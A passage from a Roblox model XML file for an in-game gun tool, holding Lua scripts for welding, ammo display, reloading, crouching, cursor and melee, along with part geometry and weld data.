if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5621">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5622">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">AmmoScript</string>
					<ProtectedString name="Source">Tool = script.Parent 
function equip()
	print(&quot;Equipped&quot;)
	if game.Players.LocalPlayer ~= nil then
		local m = Instance.new(&quot;Hint&quot;)
		m.Parent = game.Players.LocalPlayer
		m.Name = &quot;AmmoStats&quot;
		while m ~= nil do
			wait(0.1)
			m.Text = &quot;Ammo: &quot;..script.Ammo.Value..&quot;  Clip: &quot;..script.Clip.Value
		end
	end
end

function unequip()
	print(&quot;Unequipped&quot;)
	if game.Players.LocalPlayer ~= nil then
		print(&quot;localplayer found&quot;)
		local m = game.Players.LocalPlayer:FindFirstChild(&quot;AmmoStats&quot;)
		if m ~= nil then
			m:remove()
		end
	end
end

script.Parent.Equipped:connect(equip)
script.Parent.Unequipped:connect(unequip)
</ProtectedString>
				</Properties>
				<Item class="IntValue" referent="RBX5623">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Clip</string>
						<int name="Value">270</int>
					</Properties>
					<Item class="Script" referent="RBX5624">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Reload</string>
							<ProtectedString name="Source">print(&quot;Clip Loaded&quot;)

while true do
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value &gt;= 100) then
		wait(2)
		script.Parent.Value = 100
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 100
	end
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value &lt;= 100) then
		wait(3)
		script.Parent.Value = script.Parent.Parent.Ammo.Value
		script.Parent.Parent.Ammo.Value = 0
	end
	wait(0)
end
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="IntValue" referent="RBX5625">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Ammo</string>
						<int name="Value">500</int>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5626">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Crouch</string>
					<ProtectedString name="Source">on = 0
Tool = script.Parent
welds = {}
sh = {}
arms = nil
torso = nil
f = nil
function Crouch(ison)
if arms == nil and torso == nil then
arms = {Tool.Parent:FindFirstChild(&quot;Left Leg&quot;), Tool.Parent:FindFirstChild(&quot;Right Leg&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
end
if arms ~= nil and torso ~= nil then
sh = {torso:FindFirstChild(&quot;Left Hip&quot;), torso:FindFirstChild(&quot;Right Hip&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
if ison == 1 then
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.75, 1)
arms[1].Name = &quot;LDave&quot;
arms[1].CanCollide = true
welds[1] = weld1
-------------------------------------------
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
arms[2].Name = &quot;RDave&quot;
arms[2].CanCollide = true
welds[2] = weld2
---------------------------------
local force = Instance.new(&quot;BodyForce&quot;)
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = &quot;Right Leg&quot;
arms[1].Name = &quot;Left Leg&quot;
welds[1].Parent = nil
welds[2].Parent = nil
end
end
--
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
function Key(key)
if key then
key = string.lower(key)
if (key==&quot;c&quot;) then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5627">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = true
	mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;

	--wait(.8)
	--mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	--enabled = true
	--mouse.Button1Up:connect(function() onButton1Up(mouse) end)

end


function onButton1Up(mouse)
enabled = false
Tool.Enabled = false
mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;

wait(.8)

mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;
enabled = true
Tool.Enabled = true
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)	
	mouse.Button1Up:connect(function() onButton1Up(mouse)end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX5628">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Looped">false</bool>
					<string name="Name">Reload</string>
					<float name="Pitch">1</float>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?version=1&amp;id=2691591</url></Content>
					<float name="Volume">0.300000012</float>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX5629">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-15.4332666</X>
						<Y>1.19036102</Y>
						<Z>44.4957008</Z>
						<R00>0.998565018</R00>
						<R01>0.0535007492</R01>
						<R02>0.0022219168</R02>
						<R10>-0.0535029508</R10>
						<R11>0.998566806</R11>
						<R12>0.000944913365</R12>
						<R20>-0.00216772221</R20>
						<R21>-0.0010624358</R21>
						<R22>0.999996841</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.00280677713</X>
						<Y>-0.00562748918</Y>
						<Z>0.00388883823</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0490685664</X>
						<Y>0.00922846794</Y>
						<Z>0.00758218532</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>0.400000006</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5630">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Looped">false</bool>
						<string name="Name">Fire</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">true</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5631">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">6</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.449999988</X>
							<Y>0.099999994</Y>
							<Z>0.200000003</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5632">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>4.16078283e-009</X>
							<Y>-1.8179545e-008</Y>
							<Z>-2.39592435e-008</Z>
							<R00>-0.253976554</R00>
							<R01>-3.02056726e-008</R01>
							<R02>-0.967210352</R02>
							<R10>-1.47644812e-008</R10>
							<R11>1</R11>
							<R12>-5.52786155e-008</R12>
							<R20>0.967210293</R20>
							<R21>1.97094965e-010</R21>
							<R22>-0.253976524</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>4.16078283e-009</X>
							<Y>-1.8179545e-008</Y>
							<Z>-2.39592435e-008</Z>
							<R00>-0.253976554</R00>
							<R01>-3.02056726e-008</R01>
							<R02>-0.967210352</R02>
							<R10>-1.47644812e-008</R10>
							<R11>1</R11>
							<R12>-5.52786155e-008</R12>
							<R20>0.967210293</R20>
							<R21>1.97094965e-010</R21>
							<R22>-0.253976524</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5633">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>2.81668733e-008</X>
							<Y>-3.33256565e-007</Y>
							<Z>3.80757115e-007</Z>
							<R00>0.0398047045</R00>
							<R01>0.99884361</R01>
							<R02>0.026963206</R02>
							<R10>0.764099836</R10>
							<R11>-0.0478161275</R11>
							<R12>0.643323421</R12>
							<R20>0.643868744</R20>
							<R21>-0.00500471797</R21>
							<R22>-0.765119493</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0.0499971211</X>
							<Y>0.714999437</Y>
							<Z>0.569999099</Z>
							<R00>-0.64386791</R00>
							<R01>0.00500475569</R01>
							<R02>0.765118361</R02>
							<R10>0.0398044661</R10>
							<R11>0.998842955</R11>
							<R12>0.0269630421</R12>
							<R20>-0.764099658</R20>
							<R21>0.0478163846</R21>
							<R22>-0.643323123</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5634">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>2.81668733e-008</X>
							<Y>-3.33256565e-007</Y>
							<Z>3.80757115e-007</Z>
							<R00>0.0398047045</R00>
							<R01>0.99884361</R01>
							<R02>0.026963206</R02>
							<R10>0.764099836</R10>
							<R11>-0.0478161275</R11>
							<R12>0.643323421</R12>
							<R20>0.643868744</R20>
							<R21>-0.00500471797</R21>
							<R22>-0.765119493</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0.149997503</X>
							<Y>0.714999437</Y>
							<Z>0.569999099</Z>
							<R00>-0.64386791</R00>
							<R01>0.00500475569</R01>
							<R02>0.765118361</R02>
							<R10>0.0398044661</R10>
							<R11>0.998842955</R11>
							<R12>0.0269630421</R12>
							<R20>-0.764099658</R20>
							<R21>0.0478163846</R21>
							<R22>-0.643323123</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5635">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>2.81668733e-008</X>
							<Y>-3.33256565e-007</Y>
							<Z>3.80757115e-007</Z>
							<R00>0.0398047045</R00>
							<R01>0.99884361</R01>
							<R02>0.026963206</R02>
							<R10>0.764099836</R10>
							<R11>-0.0478161275</R11>
							<R12>0.643323421</R12>
							<R20>0.643868744</R20>
							<R21>-0.00500471797</R21>
							<R22>-0.765119493</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0.249995977</X>
							<Y>0.704995394</Y>
							<Z>0.520000815</Z>
							<R00>-0.64386791</R00>
							<R01>0.00500475569</R01>
							<R02>0.765118361</R02>
							<R10>0.0398044661</R10>
							<R11>0.998842955</R11>
							<R12>0.0269630421</R12>
							<R20>-0.764099658</R20>
							<R21>0.0478163846</R21>
							<R22>-0.643323123</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5636">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>2.81668733e-008</X>
							<Y>-3.33256565e-007</Y>
							<Z>3.80757115e-007</Z>
							<R00>0.0398047045</R00>
							<R01>0.99884361</R01>
							<R02>0.026963206</R02>
							<R10>0.764099836</R10>
							<R11>-0.0478161275</R11>
							<R12>0.643323421</R12>
							<R20>0.643868744</R20>
							<R21>-0.00500471797</R21>
							<R22>-0.765119493</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0.249995977</X>
							<Y>0.704997301</Y>
							<Z>0.420000404</Z>
							<R00>-0.64386791</R00>
							<R01>0.00500475569</R01>
							<R02>0.765118361</R02>
							<R10>0.0398044661</R10>
							<R11>0.998842955</R11>
							<R12>0.0269630421</R12>
							<R20>-0.764099658</R20>
							<R21>0.0478163846</R21>
							<R22>-0.643323123</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5637">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>2.81668733e-008</X>
							<Y>-3.33256565e-007</Y>
							<Z>3.80757115e-007</Z>
							<R00>0.0398047045</R00>
							<R01>0.99884361</R01>
							<R02>0.026963206</R02>
							<R10>0.764099836</R10>
							<R11>-0.0478161275</R11>
							<R12>0.643323421</R12>
							<R20>0.643868744</R20>
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					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6161">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-14.0574017</X>
						<Y>1.63743579</Y>
						<Z>44.4921951</Z>
						<R00>0.00221964275</R00>
						<R01>0.0535095073</R01>
						<R02>-0.998563886</R02>
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						<R20>0.999996185</R20>
						<R21>-0.00106255373</R21>
						<R22>0.0021641138</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.00280677713</X>
						<Y>-0.00562748918</Y>
						<Z>0.00388883823</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0507874414</X>
						<Y>0.0145888235</Y>
						<Z>0.0165796895</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX6162">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.400000006</X>
							<Y>0.100000001</Y>
							<Z>0.850000024</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6163">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16.8082237</X>
						<Y>1.6945498</Y>
						<Z>44.4983139</Z>
						<R00>0.998564899</R00>
						<R01>0.053491883</R01>
						<R02>0.00222546468</R02>
						<R10>-0.0534940846</R10>
						<R11>0.998566091</R11>
						<R12>0.000944636646</R12>
						<R20>-0.00216997275</R20>
						<R21>-0.00106232695</R21>
						<R22>0.999996185</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.00280677713</X>
						<Y>-0.00562748918</Y>
						<Z>0.00388883823</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0510439798</X>
						<Y>0.00387414824</Y>
						<Z>0.0012597749</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX6164">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">6</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.850000024</X>
							<Y>0.5</Y>
							<Z>0.400000006</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6165">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16.1098118</X>
						<Y>1.64712262</Y>
						<Z>44.4968033</Z>
						<R00>0.998564899</R00>
						<R01>0.053491883</R01>
						<R02>0.00222546468</R02>
						<R10>-0.0534940846</R10>
						<R11>0.998566091</R11>
						<R12>0.000944636646</R12>
						<R20>-0.00216997275</R20>
						<R21>-0.00106232695</R21>
						<R22>0.999996185</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.00280677713</X>
						<Y>-0.00562748918</Y>
						<Z>0.00388883823</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0508510433</X>
						<Y>0.00659439899</Y>
						<Z>0.00505696284</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX6166">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">6</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.550000012</X>
							<Y>0.200000003</Y>
							<Z>0.400000006</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6167">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>-15.4214363</X>
						<Y>1.41001427</Y>
						<Z>44.4954987</Z>
						<R00>0.00221961737</R00>
						<R01>-0.0535057746</R01>
						<R02>0.998565078</R02>
						<R10>0.000945344567</R10>
						<R11>-0.998567104</R11>
						<R12>-0.0535079762</R12>
						<R20>0.999997139</R20>
						<R21>0.00106275827</R21>
						<R22>-0.00216591358</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.00280677713</X>
						<Y>-0.00562748918</Y>
						<Z>0.00388883823</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0499216244</X>
						<Y>0.00927504152</Y>
						<Z>0.0082652783</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX6168">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.100000001</X>
							<Y>0.100000001</Y>
							<Z>0.0500000007</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="RotateP" referent="RBX6169">
				<Properties>
					<bool name="Archivable">true</bool>
					<float name="BaseAngle">0</float>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">poopholder</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX6170">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LocalMelee</string>
					<ProtectedString name="Source">--[[

Dax,

See the MeleeScript.

]]

local canmelee = true;
local tool = script.Parent;

function onKeyDown(key)
	key:lower();
	if key == &quot;e&quot; then
		if canmelee == false then
			return;
		end

		tool.Melee:play()

		canmelee = false;

		local rgrip = tool.Parent[&quot;Right Arm&quot;].RightGrip;

		script.melee.Value = true;

		for i = 1,6 do
			rgrip.C1 = rgrip.C1 * CFrame.fromEulerAnglesXYZ(-0.55,0,0);
			wait();
		end

		wait(0.25);

		for i = 1, 6 do
			rgrip.C1 = rgrip.C1 * CFrame.fromEulerAnglesXYZ(0.55,0,0);
			wait();
		end

		script.melee.Value = false;

		wait(0.5);

		canmelee = true;
	end
end

function onSelect(mouse)
	mouse.KeyDown:connect(onKeyDown);
end


function blow(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if not humanoid then return end
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
